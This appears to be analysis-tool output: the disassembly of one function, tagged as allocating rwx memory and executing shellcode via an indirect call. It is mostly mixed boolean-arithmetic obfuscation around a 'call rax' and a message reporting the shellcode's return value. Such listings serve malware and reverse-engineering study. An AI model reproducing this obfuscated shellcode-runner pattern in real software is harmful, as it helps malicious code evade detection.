Function at 0x14000ef00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp], rax
mov ecx, dword [0x1400968b4]
mov r8d, dword [0x1400968b0]
lea eax, [rcx - 1]
imul eax, ecx
mov r11d, eax
not r11d
mov r10d, eax
mov r15d, r11d
and r15d, eax
mov ecx, r11d
and ecx, 0xccd17f7d
mov r13d, eax
and r13d, 0x332e8082
or r13d, ecx
not r13d
or r13d, r11d
mov r9d, r11d
mov r12d, eax
mov ecx, eax
xor ecx, 0xff966ae9
and ecx, eax
mov r14d, r11d
mov edi, eax
mov edx, r11d
and edx, 0x47d4b129
and eax, 0xb82b4ed6
or eax, edx
not eax
or eax, r11d
and r11d, 0xe8228e0
and r10d, 0xf17dd71f
or r10d, r11d
xor r10d, 0xf17dd71f
mov edx, r10d
and edx, r15d
xor r15d, r10d
or r15d, edx
mov edx, r15d
not edx
and r15d, 0x83b914bd
mov ebx, edx
and ebx, 0x7c46eb42
or ebx, r15d
xor ebx, 0xb097943f
and edx, 0x332e8082
or edx, ebx
mov ebx, r13d
not ebx
and r13d, 0xc30b0556
mov esi, ebx
and esi, 0x3cf4faa9
or esi, r13d
xor esi, 0x3cf4faa9
mov r10d, edx
mov r11d, esi
mov r15d, edx
and r15d, esi
xor esi, edx
not edx
or edx, 0xf7a0af82
and r11d, 0x85f507d
and ebx, 0xf7a0af82
or ebx, r11d
mov r11d, edx
not r11d
or r10d, 0x85f507d
and edx, 0x236e2c59
and r11d, 0x8115024
or r11d, edx
mov edx, r10d
not edx
and r10d, 0x236e2c59
and edx, 0xd4808382
or edx, r10d
xor edx, r11d
mov r10d, edx
not r10d
and r10d, ebx
not ebx
and ebx, edx
or ebx, r10d
or esi, r15d
not esi
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
mov edx, esi
not edx
and edx, 0xfe2d1c2c
and esi, 0x1d2e3d3
or esi, edx
mov edx, esi
not edx
and edx, 0xcd039cae
and esi, 0x32fc6351
or esi, edx
mov ebx, esi
not ebx
or esi, 0xdad13c3e
mov r10d, esi
not r10d
or ebx, 0x252ec3c1
mov edx, ebx
not edx
and esi, 0x92237537
and r10d, 0x250c82c0
or r10d, esi
and ebx, 0x92237537
and edx, 0x48d00808
or edx, ebx
xor edx, r10d
mov ebx, edx
not ebx
and ebx, 0x4e5336d5
and edx, 0xb1acc92a
or edx, ebx
mov r10d, edx
xor r10d, 0x480080b
xor edx, 0x6b7df514
mov ebx, edx
and ebx, 0xbb23d3e0
and r10d, 0x44dc2c1f
or r10d, ebx
mov esi, r10d
xor esi, 0x44dc2c1f
mov r11d, r10d
xor r11d, 0x41103532
and r11d, esi
or edx, 0xfa33e6d2
mov ebx, r11d
not ebx
mov r15d, ebx
and r15d, 0x847b0030
and r11d, 0x7b84ffcf
or r11d, r15d
mov r15d, edx
not r15d
or ebx, edx
and edx, 0x847b0030
and r15d, 0x184190d
or r15d, edx
xor r15d, r11d
not ebx
or ebx, r15d
mov edx, ebx
not edx
and edx, 0x891dda5c
and ebx, 0x76e225a3
or ebx, edx
mov r11d, ebx
xor r11d, 0x4102308a
xor r10d, 0x82141a0
and r10d, 0x48e561b6
mov edx, esi
and edx, 0xb71a9e49
or edx, r10d
xor edx, 0xb71a9e48
and esi, 0xfffffffe
or esi, edx
mov edx, esi
not edx
and edx, 0xc4648617
and esi, 0x3b9b79e8
or esi, edx
mov edx, esi
xor edx, 0x18371e8
xor ebx, 0x8cd1c370
xor esi, 0xc4648617
mov r10d, ebx
and r10d, 0x3e7c0c05
and r11d, 0xc183f3fa
or r11d, r10d
or ebx, esi
and esi, 0x3e7c0c05
and edx, 0xc183f3fa
or edx, esi
xor edx, r11d
not ebx
or ebx, edx
mov edx, ebx
not edx
mov esi, edx
and esi, 0x829836ea
and edx, ebx
and ebx, 0x7d67c915
or ebx, esi
xor ebx, 0x7d67c915
mov esi, ebx
and esi, edx
xor ebx, edx
or ebx, esi
and r9d, 0xe41008e9
and r12d, 0x1b866200
or r12d, r9d
xor r12d, 0x1b866200
mov edx, r12d
and edx, ecx
xor ecx, r12d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x14393982
and ecx, 0xebc6c67d
or ecx, edx
mov edx, ecx
xor edx, 0x1450ac94
mov esi, ecx
xor esi, 0x23805143
and esi, 0x3790f5c3
xor ecx, 0x9a51450b
and ecx, edx
and edx, 0xc86f0a3c
or edx, esi
mov r10d, edx
xor r10d, 0xc86f0a3c
mov r9d, edx
xor r9d, 0xb9911c5c
and r9d, r10d
mov esi, r9d
not esi
mov r11d, ecx
not r11d
mov r15d, esi
and r15d, 0x5caaf629
and r9d, 0xa35509d6
or r9d, r15d
or esi, r11d
and r11d, 0x5caaf629
and ecx, 0xa35509d6
or ecx, r11d
xor ecx, r9d
not esi
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x71fe1661
and esi, 0x8e01e99e
or esi, ecx
xor edx, 0x14100540
and edx, 0x94330f78
mov ecx, r10d
and ecx, 0x6bccf087
or ecx, edx
xor ecx, 0x94330f79
and r10d, 1
or r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0x7410502f
and r10d, 0x8befafd0
or r10d, ecx
mov edx, r10d
xor edx, 0x8a8ea750
mov ecx, esi
not ecx
xor r10d, 0x7410502f
mov r9d, ecx
and r9d, 0x41711883
and esi, 0xbe8ee77c
or esi, r9d
or ecx, r10d
and r10d, 0x41711883
and edx, 0xbe8ee77c
or edx, r10d
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x68ce1a55
and edx, 0x9731e5aa
or edx, esi
xor edx, 0x9731e5aa
or edx, ecx
mov r10d, edx
mov r9d, edx
mov r11d, ebx
mov ecx, ebx
xor edx, ebx
not edx
and edx, ebx
mov r15d, ebx
not r15d
not r10d
and r9d, 0xb459af94
mov esi, r10d
and esi, 0x4ba6506b
or esi, r9d
mov ebx, esi
xor ebx, 0x43a00063
mov r9d, r15d
and r9d, 0xc0fdc1c
and r11d, 0xf3f023e3
or r11d, r9d
xor esi, 0x4098c14
and esi, 0xc0fdc1c
and ebx, 0xf3f023e3
or ebx, esi
xor ebx, r11d
not ebx
or ebx, r15d
mov r9d, ebx
not r9d
and r15d, 0x689d3f16
and ecx, 0x9762c0e9
or ecx, r15d
xor ecx, r10d
xor ecx, 0x689d3f16
and ecx, r10d
mov r15d, ecx
not r15d
mov r10d, edx
not r10d
mov r11d, r15d
and r11d, 0x89fa0bae
and ecx, 0x7605f451
or ecx, r11d
or r15d, r10d
and r10d, 0x89fa0bae
and edx, 0x7605f451
or edx, r10d
xor edx, ecx
not r15d
or r15d, edx
mov ecx, ebx
and ecx, 0xc73c6d29
xor ebx, 0xe479b01c
and ebx, r9d
mov edx, r9d
and edx, 0x38c392d6
or edx, ecx
mov r9d, edx
xor r9d, 0x38c392d6
mov r10d, r15d
not r10d
mov ecx, edx
xor ecx, 0xdcba22ca
and ecx, r9d
mov r11d, r15d
or r11d, 0xe479b01c
mov esi, ecx
not esi
mov r12d, esi
and r12d, 0x5abef1db
and ecx, 0xa5410e24
or ecx, r12d
mov r12d, ebx
not r12d
or esi, r12d
and r12d, 0x5abef1db
and ebx, 0xa5410e24
or ebx, r12d
mov r12d, r11d
not r12d
xor ebx, ecx
mov ecx, r10d
or ecx, 0x1b864fe3
not esi
or esi, ebx
mov ebx, ecx
not ebx
and r11d, 0x6d1ac6d5
and r12d, 0x12840922
or r12d, r11d
and ecx, 0x6d1ac6d5
and ebx, 0x80613008
or ebx, ecx
xor ebx, r12d
mov ecx, esi
not ecx
and ecx, ebx
not ebx
and ebx, esi
or ebx, ecx
xor edx, 0xc73c6d29
mov ecx, edx
and ecx, 0x68749658
and r9d, 0x978b69a7
or r9d, ecx
or edx, r15d
and r15d, 0x68749658
and r10d, 0x978b69a7
or r10d, r15d
xor r10d, r9d
not edx
or edx, r10d
mov ecx, edx
not ecx
and ecx, 0x40d16070
and edx, 0xbf2e9f8f
or edx, ecx
mov ecx, edx
xor ecx, 0x930c9605
xor edx, 0x40d16070
mov r11d, ebx
not r11d
mov esi, r11d
and esi, 0x6cb3498a
and ebx, 0x934cb675
or ebx, esi
or r11d, edx
and edx, 0x6cb3498a
and ecx, 0x934cb675
or ecx, edx
xor ecx, ebx
not r11d
or r11d, ecx
and r14d, 0x44906ceb
and edi, 0xbb6f9314
or edi, r14d
mov ecx, edi
xor ecx, 0x2230200
xor edi, 0x44906ceb
and ecx, 0x6b30660
mov edx, edi
and edx, 0xf94cf99f
or edx, ecx
xor edx, 0xbe9848b6
and edi, 0xb82b4ed6
or edi, edx
mov ecx, edi
not ecx
and ecx, 0x7a18e1d9
and edi, 0x85e71e26
or edi, ecx
mov r10d, edi
xor r10d, 0xc61204
xor edi, 0x7a18e1d9
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0x3ce6b29b
xor eax, 0xff316cba
and eax, ecx
and ecx, 0xc3194d64
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc3194d64
or r10d, 0xff316cba
mov edx, r10d
not edx
xor ecx, 0x3c2821de
and ecx, ebx
mov r9d, edi
and r9d, ebx
xor ebx, edi
or edi, 0xce9345
mov esi, edi
not esi
and r10d, 0x31d3c5b2
and edx, 0xc1245
or edx, r10d
and edi, 0x31d3c5b2
and esi, 0xce202808
or esi, edi
xor esi, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, esi
not ecx
and ecx, 0x2d6be780
and esi, 0xd294187f
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x2d6be780
and eax, 0xd294187f
or eax, ecx
xor eax, esi
or ebx, r9d
mov ecx, ebx
not ecx
and ecx, 0x3f8cd51b
and ebx, 0xc0732ae4
or ebx, ecx
xor ebx, 0xc0732ae4
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x18004ec0
mov ecx, ebx
and ecx, 0xa02b0016
or ecx, eax
xor ecx, 0xa02b0016
and ebx, 0x47d4b129
or ebx, ecx
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0xd743430b
mov ecx, r11d
and ecx, 0x28bcbcf4
or ecx, eax
mov eax, ecx
xor eax, 0x280c1c64
xor ecx, 0x50020103
and ecx, 0x50b2a193
and eax, 0xaf4d5e6c
or eax, ecx
mov ecx, eax
xor ecx, 0x10a08080
xor eax, 0x27401464
and eax, 0x67523577
and ecx, 0x98adca88
or ecx, eax
mov r14d, ecx
xor r14d, 0x67523577
and r14d, ecx
mov ecx, r9d
and ecx, 0x98adca88
mov edx, r11d
and edx, 0x67523577
or edx, ecx
mov ecx, edx
xor ecx, r9d
and ecx, edx
mov r15d, ebx
not r15d
mov edi, r15d
and edi, ebx
mov eax, edi
not eax
mov r10d, ebx
and r10d, 0x92b5a121
mov esi, r15d
and esi, 0x6d4a5ede
or esi, r10d
mov edx, ebx
or edx, eax
and eax, 0x92b5a121
and edi, 0x6d4a5ede
or edi, eax
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
and edx, 0x30e13ff
mov eax, esi
and eax, 0xfcf1ec00
or eax, edx
xor eax, 0x645c2688
and esi, 0x67523577
or esi, eax
mov r10d, esi
not r10d
and r15d, 0xf74db7cc
and ebx, 0x8b24833
or ebx, r15d
mov edx, ebx
xor edx, 0x8b24833
xor ebx, 0x13053740
and ebx, 0x13a77752
mov eax, edx
and eax, 0xec5888ad
or eax, ebx
xor eax, 0x8b0abdda
and edx, 0x98adca88
or edx, eax
mov edi, r14d
xor edi, 0xe36d1707
and edi, r14d
not r14d
mov eax, ecx
not eax
mov r12d, ecx
xor r12d, 0xe36d1707
and r12d, eax
mov r15d, r14d
and r15d, eax
xor eax, r14d
and r14d, 0xe36d1707
mov ebx, r14d
and ebx, edi
xor edi, r14d
mov r14d, edx
not r14d
and ecx, 0x1c92e8f8
or edi, ebx
mov ebx, r12d
and ebx, ecx
xor ecx, r12d
or ecx, ebx
mov ebx, edi
not ebx
and ebx, 0xa5fbdc23
and edi, 0x5a0423dc
or edi, ebx
mov ebx, ecx
not ebx
and ebx, 0xa5fbdc23
and ecx, 0x5a0423dc
or ecx, ebx
xor ecx, edi
or eax, r15d
not eax
mov edi, ecx
and edi, eax
xor eax, ecx
or eax, edi
and r14d, esi
or esi, edx
mov ecx, esi
not ecx
and edx, r10d
or edx, r14d
mov ebx, edx
not ebx
mov edi, esi
and edi, 0x6f354809
and ecx, 0x90cab7f6
or ecx, edi
or esi, ebx
and ebx, 0x6f354809
and edx, 0x90cab7f6
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov ecx, eax
mov edx, eax
xor edx, 0x434d604c
and edx, eax
not eax
and eax, 0x40040008
and ecx, 0x3496044
or ecx, eax
mov eax, ecx
xor eax, 0x3400040
xor ecx, 0xfcb69fbb
mov ebx, esi
not ebx
and ebx, 0x434d604c
and esi, 0xbcb29fb3
or esi, ebx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x68a96e25
and eax, 0x3440048
or eax, edi
or ecx, ebx
and ebx, 0x68a96e25
and edx, 0x975691da
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x4a080739
and ecx, 0xb5f7f8c6
or ecx, eax
mov eax, esi
not eax
and eax, 0x4a080739
and esi, 0xb5f7f8c6
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x6438ebbc
and eax, esi
not esi
and esi, 0x6438ebbc
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9bc71443
and eax, 0x6438ebbc
or eax, ecx
and r9d, 0xade3b810
and r11d, 0x521c47ef
or r11d, r9d
mov ecx, r11d
not ecx
and ecx, 0x33608cc3
and r11d, 0xcc9f733c
or r11d, ecx
mov edi, r11d
xor edi, 0x617ccb2c
mov ecx, eax
not ecx
and ecx, 0x530fb6b
mov ebx, eax
and ebx, 0xfacf0494
or ebx, ecx
xor ebx, 0xfacf0494
xor r11d, 0x88204c2
and r11d, 0x48960ee2
mov edx, edi
and edx, 0xb769f11d
or edx, r11d
mov ecx, edx
xor ecx, 0xb769f11d
xor edx, 0x95da85c9
and edx, ecx
mov esi, ebx
and esi, ecx
xor ecx, ebx
and ebx, 0xdd4c8b2b
and eax, 0x22b374d4
or eax, ebx
and edi, 0x22b374d4
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov ebx, eax
not ebx
and ebx, edi
not edi
and edi, eax
or edi, ebx
or ecx, esi
mov eax, ecx
not eax
and eax, 0xe2109ce7
and ecx, 0x1def6318
or ecx, eax
mov eax, ecx
xor eax, 0x146c2118
xor ecx, 0xe2109ce7
mov edx, edi
not edx
mov ebx, edx
and ebx, 0xc98352e1
and edi, 0x367cad1e
or edi, ebx
or edx, ecx
and ecx, 0xc98352e1
and eax, 0x367cad1e
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x87568eae
and edx, 0x78a97151
or edx, eax
xor edx, 0x78a97151
sete byte [rbp - 0x32]
cmp r8d, 0xa
setl byte [rbp - 0x31]
mov eax, 0x7ab0b62f
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
sub rsp, 0x20
lea rcx, [0x140085bc3]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
call rax
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
xor edx, edx
call fcn.1400010dc
add rsp, 0x20
mov eax, dword [0x1400968b4]
lea r8d, [rax - 1]
imul r8d, eax
mov eax, r8d
not eax
mov ecx, eax
and eax, 0xdb9dd6f7
mov r11d, r8d
and r11d, 0x24622908
or r11d, eax
not r11d
or r11d, ecx
mov eax, ecx
mov dword [rbp - 0x3c], ecx
mov r10d, ecx
and eax, 0x5dd61a2e
mov edi, r8d
and edi, 0xa229e5d1
or edi, eax
mov ebx, edi
xor ebx, 0x8028c001
xor edi, 0x49d21020
and edi, 0x6bd335f0
and ebx, 0x942cca0f
or ebx, edi
mov eax, ebx
xor eax, 0x80015f0
xor ebx, 0x90044205
and eax, 0xc289dfa
and ebx, 0xf3d76205
or ebx, eax
xor ebx, 0x284ab4f2
mov edi, ebx
or edi, 0x24622908
mov eax, edi
not eax
mov r15d, r11d
not r15d
and edi, 0x53335c40
and eax, 0x888c82b7
or eax, edi
mov r13d, eax
xor r13d, 0xaccca3bf
mov edx, eax
xor edx, 0x6d514759
and edx, r13d
or ebx, 0x3e623b19
mov esi, ebx
not esi
mov r14d, r11d
and r14d, 0x3e621b19
mov ecx, edx
not ecx
mov r12d, ecx
and r12d, 0x5a008610
and edx, 0x81df51ef
or edx, r12d
mov edi, r11d
xor edi, 0xc19de4e6
and edi, r15d
or ecx, ebx
and ebx, 0x7e208e10
and esi, 0x819d40e6
or esi, ebx
xor esi, edx
not ecx
or ecx, esi
mov edx, r14d
and edx, edi
xor edi, r14d
or edi, edx
mov edx, ecx
not edx
and edx, 0x2d655f8
and ecx, 0xfd098207
or ecx, edx
mov edx, edi
not edx
and edx, 0x2f65df8
and edi, 0xfd09a207
or edi, edx
xor edi, ecx
xor eax, 0x53335c40
mov ecx, eax
and ecx, 0xda99d2d4
and r13d, 0x21060423
or r13d, ecx
or eax, r15d
and r15d, 0xdef9fbdc
and r11d, 0x21060423
or r11d, r15d
xor r11d, r13d
not eax
or eax, r11d
mov ecx, eax
not ecx
and ecx, 0x73947e87
and eax, 0x8c6b8178
or eax, ecx
mov ecx, eax
xor ecx, 0x46a8140
mov edx, edi
not edx
xor eax, 0x73947e87
mov ebx, edx
and ebx, 0xc80552bd
and edi, 0x37faad42
or edi, ebx
or edx, eax
and eax, 0xc80552bd
and ecx, 0x37faad42
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
xor eax, 0xef582b78
and eax, edx
not edx
and edx, 0xef582b78
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xcb3a0270
and eax, 0x34c5fd8f
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xc0bd0986
and ecx, 0x3f42f679
or ecx, edi
or eax, ebx
and ebx, 0xc0bd0986
and edx, 0x3f42f679
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x8fb02e3f
and ecx, eax
mov edx, eax
not edx
and edx, 0x83902603
and eax, 0xc20083c
or eax, edx
xor eax, 0xc20083c
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov r15d, eax
not r15d
mov ecx, r15d
and ecx, 0x162b6760
and eax, 0xe9d4989f
or eax, ecx
xor eax, 0x6664b6a0
xor r15d, eax
and r15d, eax
mov eax, r8d
or eax, 0x7e5fe0a0
mov ecx, eax
not ecx
mov edx, r8d
xor edx, 0x81a01f5f
and edx, r8d
mov dword [rbp - 0x48], r8d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xebc807f8
and ecx, 0x201807
or ecx, edi
or eax, ebx
and ebx, 0xebc807f8
and edx, 0x1437f807
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa4057208
and eax, 0x5bfa8df7
or eax, ecx
mov edx, eax
xor edx, 0xaa154368
xor eax, 0x55eabc97
and r10d, eax
and edx, r8d
or edx, r10d
not edx
or edx, eax
mov r14d, edx
not r14d
mov ecx, r15d
not ecx
mov ebx, r15d
mov edi, ecx
mov eax, ecx
and eax, 0xe04786bd
and r15d, 0x1fb87942
or r15d, eax
not r15d
or r15d, ecx
and ecx, 0x3f7b2493
and ebx, 0xc084db6c
or ebx, ecx
mov eax, ebx
xor eax, 0x80008004
xor ebx, 0x20002010
or edi, 0xe0c0fb56
mov r10d, edi
not r10d
or ebx, 0xe1b0081
and ebx, 0x6e9b7bd1
and eax, 0x80408006
or eax, ebx
and edi, 0x6e9b7bd1
and r10d, 0x11240428
or r10d, edi
xor r10d, eax
mov eax, r10d
not eax
and eax, 0x38e6a538
and r10d, 0xc7195ac7
or r10d, eax
mov r9d, r10d
xor r9d, 0x27d9a191
mov eax, edx
and eax, r14d
mov esi, eax
not esi
mov edi, r14d
and edi, 0xe47e0d49
mov r11d, r14d
mov ebx, edx
and ebx, 0x88edbd47
and r14d, 0x771242b8
or r14d, ebx
xor r14d, 0x9755c405
or r14d, edx
and edx, 0x1b81f2b6
or edx, edi
or r11d, esi
and esi, 0xe47e0d49
and eax, 0x1b81f2b6
or eax, esi
xor eax, edx
not r11d
or r11d, eax
xor r10d, 0xd8265e6e
mov eax, r10d
and eax, 0x5f665c06
mov edx, r9d
and edx, 0xa099a3f9
or edx, eax
xor edx, 0x40de2544
mov eax, edx
xor eax, r10d
and eax, edx
mov r12d, r15d
not r12d
mov edi, r11d
not edi
mov edx, edi
and edx, 0xde210988
mov esi, r11d
and esi, 0x21def677
or esi, edx
mov edx, esi
xor edx, 0x1987042
and edx, 0x1fb87942
xor esi, 0x3e668f35
or esi, edx
mov edx, esi
not edx
mov ebx, eax
xor ebx, r15d
and ebx, eax
and r15d, eax
not eax
and eax, r12d
or r15d, eax
mov eax, ebx
and eax, r15d
xor r15d, ebx
or r15d, eax
mov ebx, esi
and ebx, 0xa351b9c
mov eax, esi
xor eax, 0xf5cae463
and eax, edx
mov r13d, ebx
and r13d, eax
xor eax, ebx
mov r12d, r14d
not r12d
or eax, r13d
mov ebx, r12d
or ebx, 0xf5cae463
mov r13d, ebx
not r13d
mov r8d, ebx
and r8d, 0xa211488e
and r13d, 0x8241310
or r13d, r8d
mov r8d, r14d
xor r8d, 0xf5cae463
and r8d, r12d
mov ecx, r8d
not ecx
or ebx, ecx
and ecx, 0xa211488e
and r8d, 0x5deeb771
or r8d, ecx
xor r8d, r13d
not ebx
or ebx, r8d
mov ecx, eax
not ecx
and ecx, 0x44c27c14
and eax, 0xbb3d83eb
or eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x44c27c14
and ebx, 0xbb3d83eb
or ebx, ecx
xor ebx, eax
mov eax, edx
and eax, 0x76293e87
and esi, 0x89d6c178
or esi, eax
or edx, r12d
and r12d, 0x76293e87
and r14d, 0x89d6c178
or r14d, r12d
xor r14d, esi
not edx
or edx, r14d
mov eax, edx
not eax
and eax, 0x70ffa014
and edx, 0x8f005feb
or edx, eax
xor edx, 0x8f005feb
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
or eax, r15d
not r15d
not eax
or r15d, edx
not r15d
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
and r11d, r10d
or r10d, edi
not r10d
and edi, r9d
or edi, r11d
mov eax, r10d
and eax, edi
xor edi, r10d
or edi, eax
mov eax, edi
not eax
mov ecx, edi
xor ecx, 0xea903ec
and ecx, edi
or edi, 0xf156fc13
mov edx, ecx
not edx
mov ebx, edi
and ebx, 0x93eb05a3
and eax, 0xc00024c
or eax, ebx
or edi, edx
and edx, 0x93eb05a3
and ecx, 0x6c14fa5c
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x564d9f58
and edi, 0xa9b260a7
or edi, eax
mov eax, edi
xor eax, 0xa2116200
xor edi, 0x18649804
and edi, 0x1d6e994f
and eax, 0xe29166b0
or eax, edi
mov edx, eax
xor edx, 0x629020a0
xor eax, 0x1028010d
and eax, 0x9029471d
and edx, 0x6fd6b8e2
or edx, eax
mov ecx, edx
xor ecx, 0x90290400
xor edx, 0x4a123860
and edx, 0x4a127b7d
and ecx, 0xb5ed8482
or ecx, edx
mov r10d, ecx
xor r10d, 0xb5ed8482
mov r11d, ecx
mov ebx, r15d
mov eax, r15d
xor eax, 0xe0fff0d9
and eax, r15d
not r15d
and r15d, 0xdb1310f1
and ebx, 0x24ecef0e
or ebx, r15d
mov r8d, ebx
xor r8d, 0x24ecef0e
mov edx, ebx
xor edx, 0x3bece028
and edx, r8d
mov esi, edx
not esi
mov edi, esi
and edi, 0x29221337
and edx, 0xd6ddecc8
or edx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x29221337
and eax, 0xd6ddecc8
or eax, edi
mov edi, r10d
or edi, 0x1f000f26
xor eax, edx
mov edx, edi
not edx
xor ecx, 0x5512745b
and ecx, r10d
not esi
or esi, eax
mov eax, edi
and eax, 0x1b677fc
and edx, 0xe0498001
or edx, eax
mov eax, ecx
not eax
or edi, eax
and eax, 0x1b677fc
and ecx, 0xfe498803
or ecx, eax
xor r11d, 0x2023a19
xor ecx, edx
not edi
or edi, ecx
mov eax, esi
not eax
and eax, 0xcf60c118
and esi, 0x309f3ee7
or esi, eax
mov eax, edi
not eax
and eax, 0xcf60c118
and edi, 0x309f3ee7
or edi, eax
xor edi, esi
xor ebx, 0xdb1310f1
mov eax, ebx
and eax, 0x59104164
and r8d, 0xa6efbe9b
or r8d, eax
or ebx, r10d
and r10d, 0x59104164
and r11d, 0xa6efbe9b
or r11d, r10d
xor r11d, r8d
not ebx
or ebx, r11d
mov eax, ebx
not eax
and eax, 0xef794695
and ebx, 0x1086b96a
or ebx, eax
xor ebx, 0x1086b96a
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x55ab5d36
mov edx, ebx
and edx, 0xaa54a2c9
or edx, eax
mov edi, edx
xor edi, 0x82540280
xor edx, 0x1800104
and edx, 0x2980a14d
and edi, 0xd67f5eb2
or edi, edx
mov eax, edi
xor eax, 0x8001
xor edi, 0xd67f5eb2
and eax, 0xc621cca3
mov edx, edi
and edx, 0x39de335c
or edx, eax
xor edx, 0x6e726fe5
and edi, 0xa853a346
or edi, edx
mov eax, edi
not eax
and eax, 0xc019707c
and edi, 0x3fe68f83
or edi, eax
mov eax, edi
xor eax, 0xc019707c
and ecx, 0xcbec0e2e
and ebx, 0x3413f1d1
or ebx, ecx
mov edx, ebx
xor edx, 0x3413f1d1
xor ebx, 0xc80c000a
and ebx, 0xec0c101a
mov ecx, edx
and ecx, 0x13f3efe5
or ecx, ebx
xor ecx, 0xbba04ca3
and edx, 0x57ac5cb9
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x372a45da
and edx, 0xc8d5ba25
or edx, ecx
mov r11d, edx
xor r11d, 0xc8d5ba25
mov ecx, edx
xor ecx, 0x31020088
and ecx, 0xf9c61a8c
xor edx, 0x5ccade45
and edx, r11d
and r11d, 0x639e573
or r11d, ecx
mov r8d, r11d
xor r8d, 0x639e573
xor edi, 0xabf9ebe3
and edi, eax
xor r11d, 0x6dd97eec
and r11d, r8d
mov r10d, eax
and r10d, r8d
xor r8d, eax
mov ecx, eax
or ecx, 0x941f6460
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x2f4dd49
and edi, 0xfd0b22b6
or edi, eax
mov r14d, ecx
not r14d
or ebx, ecx
and ecx, 0x2f4dd49
and r14d, 0x69000296
or r14d, ecx
mov eax, dword [rbp - 0x3c]
mov r15d, eax
xor r14d, edi
mov r12d, eax
mov ecx, eax
not ebx
or ebx, r14d
mov edi, r11d
and edi, edx
xor edx, r11d
or edx, edi
mov eax, ebx
not eax
and eax, 0x6ab55c67
and ebx, 0x954aa398
or ebx, eax
mov eax, edx
not eax
and eax, 0x6ab55c67
and edx, 0x954aa398
or edx, eax
mov eax, dword [rbp - 0x48]
and r15d, eax
mov r9d, eax
mov edi, eax
and eax, 0x3de93332
and r12d, 0xc216cccd
or r12d, eax
xor r12d, 0xc216cccd
mov eax, ecx
or r12d, ecx
xor edx, ebx
or r8d, r10d
mov ebx, r8d
not ebx
and ebx, 0xbd289849
and r8d, 0x42d767b6
or r8d, ebx
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x71360bb7
and edx, 0x8ec9f448
or edx, ebx
mov ebx, r8d
xor ebx, 0x2c16400
xor r8d, 0xbd289849
or esi, r8d
and r8d, 0x71360bb7
and ebx, 0x8ec9f448
or ebx, r8d
xor ebx, edx
not esi
or esi, ebx
mov r11d, esi
xor r11d, 0x9fec11d4
and r11d, esi
not esi
and esi, 0x9fec11d4
mov edx, esi
and edx, r11d
xor r11d, esi
or r11d, edx
mov edx, r11d
not edx
and edx, 0xb80f9cac
and r11d, 0x47f06353
or r11d, edx
mov edx, r15d
not edx
and r9d, 0x230952d1
and eax, 0xdcf6ad2e
or eax, r9d
or edi, edx
and edx, 0x230952d1
and r15d, 0xdcf6ad2e
or r15d, edx
xor r15d, eax
not edi
or edi, r15d
mov eax, edi
not eax
mov edx, r12d
not edx
and edx, 0x8bf0a413
and r12d, 0x740f5bec
or r12d, edx
mov edx, r12d
xor edx, 0x740f5bec
xor r12d, 0x8bf0a413
and edx, eax
or eax, r12d
not eax
and r12d, edi
or r12d, edx
mov edx, eax
and edx, r12d
xor r12d, eax
or r12d, edx
mov eax, r11d
mov edx, r11d
mov r8d, r11d
not r8d
mov ebx, r8d
and ebx, 0xd2de6b33
and eax, 0x2d2194cc
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x2d2194cc
and eax, 0xd2de6b33
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x855fa67
and eax, 0xf7aa0598
or eax, ebx
mov ebx, eax
xor ebx, 0x910a0488
and ebx, 0x990ef4cc
xor eax, 0x510a23
and eax, 0x66f10b33
or eax, ebx
mov r9d, eax
xor r9d, 0x990ef4cc
and r9d, eax
mov eax, r8d
and eax, 0x66f10b33
and edx, 0x990ef4cc
or edx, eax
